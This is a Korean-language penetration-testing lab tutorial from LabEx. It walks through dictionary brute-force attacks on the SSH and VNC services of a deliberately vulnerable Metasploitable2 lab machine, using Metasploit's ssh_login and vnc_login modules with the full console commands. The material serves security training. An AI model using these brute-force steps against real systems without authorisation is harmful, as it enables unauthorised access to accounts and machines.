Nmap 에서 Metasploit 를 사용하여 SSH 및 VNC 무차별 대입 공격 수행

NmapBeginner
지금 연습하기

소개

이 랩에서는 약한 비밀번호 인증 서비스에 대한 무차별 대입 공격 (brute-force attack) 을 수행하는 방법을 배우게 됩니다. 네트워크 서비스가 접근 권한을 필요로 하고, 그 권한 부여 메커니즘이 사용자 이름과 비밀번호에 의존하는 경우, 약한 비밀번호 취약점은 흔한 공격 대상이 될 수 있습니다. 이러한 유형의 취약점은 일반적으로 "123456"과 같은 약한 비밀번호를 사용자가 설정하여 발생합니다.

약한 비밀번호를 악용하는 가장 간단한 방법은 사전 기반 무차별 대입 공격을 사용하는 것입니다. 잠재적인 사용자 이름과 비밀번호를 포함하는 사전 파일은 이 공격에서 매우 중요합니다. 공격자는 사전에서 제공된 사용자 이름과 비밀번호 조합을 사용하여 성공적인 연결이 설정될 때까지 연결을 시도합니다.

이 랩에서는 LabEx 플랫폼 내의 Kali Linux 환경에서 Metasploit Framework (MSF) 터미널을 사용하여 Metasploitable2 대상 머신에서 SSH 및 VNC 서비스에 대한 무차별 대입 공격을 수행합니다.

참고: 이 랩에서 사용되는 클라우드 인스턴스는 비용 제약으로 인해 사용 가능한 인스턴스 수가 제한되어 있습니다. 연습을 완료할 충분한 시간이 있을 때만 랩 환경을 시작하여 인스턴스를 낭비하지 않도록 하십시오.

환경 이해

이 단계에서는 랩 환경과 무차별 대입 공격을 수행하기 위한 사전 요구 사항에 대해 배우게 됩니다.

랩 환경은 두 가지 구성 요소로 구성됩니다.

  1. 공격 머신: docker 명령을 사용하여 시작하고 bash 셸을 통해 접근해야 하는 Kali Linux 컨테이너입니다.
  2. 대상 머신: 호스트 이름이 target이고 IP 주소가 192.168.122.102인 Metasploitable2 가상 머신입니다. 이 머신의 기본 사용자 이름과 비밀번호는 msfadmin/msfadmin입니다. 이 머신은 Libvirt 가상 머신 관리 시스템을 사용하여 시작해야 합니다.

공격은 Metasploit Framework (MSF) 를 사용하여 Kali Linux 환경에서 대상 머신을 대상으로 수행됩니다.

랩 환경을 시작하려면 다음 단계를 따르십시오.

  1. LabEx 호스트 머신 (Ubuntu 데스크톱) 에서 XFCE 터미널을 실행합니다.

  2. 다음 명령을 사용하여 Metasploitable2 대상 머신을 시작합니다.

sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

  1. ping 명령을 사용하여 대상 머신에 대한 연결을 테스트합니다 (ping 을 중지하려면 Ctrl+C를 사용할 수 있습니다).
ping 192.168.122.102
  1. 다음 명령을 사용하여 Kali Linux 컨테이너를 시작하고 bash 셸에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. ping 명령을 사용하여 Kali 컨테이너에서 대상 머신으로의 네트워크 연결을 테스트합니다 (ping 을 중지하려면 Ctrl+C를 사용할 수 있습니다).
ping 192.168.122.102

이제 공격 머신 (Kali 컨테이너) 과 대상 머신 (Metasploitable2) 이 모두 실행 중이며, 무차별 대입 공격을 진행할 수 있습니다.

참고: 실수로 bash 셸을 종료하면 Kali 컨테이너가 중지됩니다. LabEx 호스트 머신에서 docker run -ti --network host b5b709a49cd5 bash 명령을 실행하여 새 Kali 컨테이너를 다시 시작하고 bash 셸에 다시 들어갈 수 있습니다.

SSH 무차별 대입 공격

이 단계에서는 Kali Linux 환경에서 Metasploit Framework (MSF) 를 사용하여 Metasploitable2 대상 머신의 SSH 서비스에 대한 무차별 대입 공격을 수행하는 방법을 배우게 됩니다.

  1. Kali Linux 컨테이너에서 Metasploit 콘솔을 실행합니다.
cd ~
msfconsole
  1. Metasploit 콘솔 내에서 SSH 무차별 대입 공격을 위해 auxiliary/scanner/ssh/ssh_login 모듈을 사용합니다.
use auxiliary/scanner/ssh/ssh_login
  1. 공격에 필요한 옵션을 구성합니다.
  • 대상 호스트 설정:
set rhosts 192.168.122.102
  • 비밀번호 사전 파일 설정 (제공된 /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt 파일을 사용할 수 있습니다):
set userpass_file /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt
  • 과도한 출력을 피하기 위해 상세 모드를 false로 설정합니다.
set verbose false
  1. 구성된 옵션을 검토합니다.
show options
  1. 무차별 대입 공격을 시작합니다.
exploit

공격이 시작되어 지정된 사전 파일의 사용자 이름과 비밀번호 조합을 사용하여 SSH 서비스에 로그인을 시도합니다. 성공적인 로그인이 발견되면 해당 자격 증명이 표시됩니다.

참고: 무차별 대입 프로세스는 시간이 오래 걸릴 수 있습니다. 원하는 경우, 첫 번째 성공적인 로그인이 표시된 후 Ctrl+C를 눌러 프로세스를 중단할 수 있습니다.

  1. 성공적인 로그인이 발견되면 공격 스크립트가 자동으로 SSH 세션을 생성합니다. sessions -i <session_id> 명령을 사용하여 세션으로 전환할 수 있습니다. 여기서 <session_id>는 출력에 표시된 세션 ID 입니다.

  2. SSH 세션 내에서 대상 머신에서 다양한 명령을 실행할 수 있습니다.

Metasploit 콘솔을 종료하고 검사를 시작하려면 Ctrl+D 를 누르십시오.

VNC 무차별 대입 공격

이 단계에서는 Kali Linux 환경에서 Metasploit Framework (MSF) 를 사용하여 Metasploitable2 대상 머신의 VNC 서비스에 대한 무차별 대입 공격을 수행하는 방법을 배우게 됩니다.

  1. 먼저, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. Metasploit 콘솔 내에서 VNC 무차별 대입 공격을 위해 auxiliary/scanner/vnc/vnc_login 모듈을 사용합니다.
use auxiliary/scanner/vnc/vnc_login
  1. 공격에 사용할 스레드 수를 구성합니다 (더 많은 스레드를 사용하면 공격 속도가 빨라지지만 탐지될 가능성도 높아질 수 있습니다).
set THREADS 5
  1. 대상 호스트 IP 주소를 설정합니다.
set RHOSTS 192.168.122.102
  1. 무차별 대입 공격을 시작합니다.
exploit
  1. VNC 로그인은 사용자 이름이 필요 없고 일반적인 약한 비밀번호만 시도하므로 공격 결과가 빠르게 표시됩니다.

Metasploit 콘솔을 종료하고 검사를 시작하려면 Ctrl+D 를 누르십시오.

요약

이 랩에서는 Kali Linux 환경에서 Metasploit Framework (MSF) 를 사용하여 약한 비밀번호 인증 서비스에 대한 무차별 대입 공격을 수행하는 방법을 배웠습니다. 특히, Metasploitable2 대상 머신에서 SSH 및 VNC 서비스에 대한 무차별 대입 공격을 수행했습니다.

이 랩에서는 다음과 같은 주요 개념을 다루었습니다.

  • 랩 환경 및 사전 요구 사항 이해
  • 무차별 대입 공격을 위한 Metasploit Framework 구성
  • 무차별 대입 공격을 위한 비밀번호 사전 파일 활용
  • SSH 서비스에 대한 무차별 대입 공격 수행
  • SSH 무차별 대입 공격 스크립트 분석
  • VNC 서비스에 대한 무차별 대입 공격 수행

이러한 실습 경험을 통해 침투 테스트 및 윤리적 해킹의 중요한 측면인 약한 비밀번호 인증 서비스에 대한 무차별 대입 공격을 수행하는 데 필요한 실질적인 지식과 기술을 습득했습니다.